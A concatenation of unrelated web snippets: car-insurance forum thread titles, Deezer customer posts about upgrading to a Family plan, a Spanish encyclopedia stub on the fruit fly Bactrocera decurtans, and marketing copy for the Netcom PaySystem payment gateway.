buying another car, before you've sold your other?
Insurance with track day cover ?
hawkeye 2.35 agreed value? best place im 25?
Do you feel guilty switching or price matching etc?
Help - where do I stand with my PNCB ?


If you are a Premium subscriber and wish to upgrade to Deezer Family, you will immediately be charged for the Family subscriptions and the plan will start immediately. Your Premium subscription will be terminated at the same time.
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Op dit moment beschik ik over een Premium abonnement van Deezer.
Graag zou ik deze om willen zetten naar een Deezer Family abonnement. Dit omdat ik graag met meerdere personen tegelijkertijd muziek wil streamen.
Ik hoor graag een antwoord.
When I try to upgrade my account to DEEZER family, I get the message that I am not eligible and the only plans offered to me are premium or HiFi.
is there some restrictions for the family subscription?
I'm trying to upgrade to Deezer family from Deezer Premium but when I select the option I get the message "you are not eligible for this offer..."why is this the case?
Also ideally I'd like to upgrade to Deezer Family with the HiFi service but see nowhere I can do this. I'm trying to give Deezer more money but you are making it difficult!!


text:
Bactrocera decurtans
 es una especie de díptero que May describió por primera vez en 1965. Bactrocera decurtans pertenece al género Bactrocera de la familia Tephritidae.

Referencias

Enlaces externos

decurtans


Netcom PaySystem offers a full suite of solutions and products that allows you or your developers to quickly and easily connect your existing commerce system to the Netcom PaySystem core platform—no matter your industry or type of business.
Netcom PaySystem has one of the country's leading payment gateways for small to mid-sized merchants. The gateway is a high-speed, secure transaction processing system that supports a wide range of electronic payment types. With this technology, Netcom PaySystem is capable of tailoring the perfect payment solution for brick-and-mortar merchants looking to expand into eCommerce, or for those merchants who want to enhance their current online processing experience.
Additional capabilities include AVS and CVV validation, convenience fee, and support for our tokenization product.
The Netcom PaySystem payment gateway is connected to a wide variety of third-party applications and vendors to meet the needs of merchants who are looking for seamless online payment processing support within their favorite applications.
Netcom PaySystem has multiple platform-independent API options available at no cost to simplify your integration efforts. These APIs are designed for use with mail/phone order, eCommerce, and retail.
With Netcom PaySystem's full suite of processing solutions, businesses large and small have the ability to easily, efficiently, and affordably process transactions.
The Virtual POS Solution (VPOS) is a comprehensive payment processing, management, and reporting solution designed to meet the needs of businesses that allow a wide range of transaction options, from retail to card-not-present.
The Payment Form Builder allows you to create a secure, customized, online payment form to enable customers to pay for your product, service, or donation with the simple click of a button.
The Payment Plugin for Quickbooks® accounting software adds the power of our payment processing to your Quickbooks application to simplify the process of accepting and managing payments.
Netcom PaySystem's Batch Upload service provides an alternative method of processing large volumes of non real-time transactions through a secure file upload.
Payments API is designed to ease the integration effort for ISV and Merchant developers. Our Payments API uses SOAP web service protocol, which gives you easy access to our core processing platform without having to code to a proprietary message format.
Reduce time, cost, and complexity of developing and integrating your commerce application with Netcom PaySystem's core payment platform. Increase development and integration efficiency by using a standardized web service. Netcom PaySystem provides resources to work with you throughout the development lifecycle.